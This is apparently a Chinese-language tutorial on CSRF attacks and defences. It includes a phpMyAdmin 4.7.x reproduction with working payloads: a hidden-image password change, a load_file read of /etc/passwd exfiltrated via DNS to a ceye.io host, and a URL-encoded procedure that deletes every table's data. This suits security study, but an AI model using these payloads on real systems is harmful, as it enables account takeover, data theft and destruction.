'CSRF'

CSRF(Cross Site Request Forgery, 跨站请求伪造)是一种网络的攻击方式,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF。
CSRF漏洞是因为web应用程序在用户进行敏感操作时,如修改账号密码、添加账号、转账等,没有校验表单token或者http请求头中的referer值,从而导致恶意攻击者利用普通用户的身份(cookie)完成攻击行为。

条件

1.正常用户需要登录站点
2.攻击者需要知道站点请求内容(构造恶意请求)
3.需要正常用户在登录成功的浏览器中诱导点击恶意链接
4.服务器无验证或验证不严谨

自动提交

1
2
setTimeout("document.form.submit",1000)
编写脚本,包含document.form.submit

复现

phpmyadmin 4.7.x CSRF漏洞

修改密码

1
2
3
4
set password=password('')
http://192.168.11.200/phpMyAdmin-4.7.4/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27123%27)
<p>hello world</p>
<img src="http://192.168.11.200/phpMyAdmin-4.7.4/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27123%27)" style="display: none;">

写文件

1
2
show variables like '%secure_file_priv%';
select "" into outfile '/var/';

读文件

1
2
select load_file();
select load_file(concat('\\\\',(select load_file('/etc/passwd')),'.mysql.jjj.ceye.io\\abc'));

需要使用OOB

删库

完整SQL语句

1
2
3
4
5
6
7
8
9
10
11
12
DROP PROCEDURE IF EXISTS EMPT;DELIMITER $$
CREATE PROCEDURE EMPT() BEGIN DECLARE i INT; SET i = 0;
WHILE i < 100 DO SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1);
PREPARE STMT FROM @del;
EXECUTE STMT;
SET i = i +1;
END WHILE;
END $$
DELIMITER ;


CALL EMPT();

POC

1
DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A

CSRF高危触发点

论坛交流
用户中心
反馈留言
交易管理
后台管理

CSRF漏洞危害

CSRF漏洞会导致受害人在不知情的情况下向论坛发帖子、订阅邮件列表、网购或股票交易,或变更用户名或口令。对受到防火墙保护的所有web应用程序而言,CSRF攻击都能绕过防火墙攻击web应用。
CSRF漏洞还可以和XSS等漏洞结合使用,从而进一步加大了该漏洞的危害。
CSRF+XXE
CSRF+LFI
CSRF+XSS

伪造HTTP请求进行未授权操作

篡改、盗取目标网站上的重要用户数据
未经允许执行对用户名誉或者资产有害的操作,比如:散播不良信息、进行消费等
如果通过使用社工等方式攻击网站管理员,会危害网站本身的安全性

作为其他攻击向量的辅助攻击手法,比如配合XSS

传播CSRF蠕虫

CSRF防御

1.Referrer验证

2. Token验证

3. 用户身份验证

绑定邮箱、手机验证码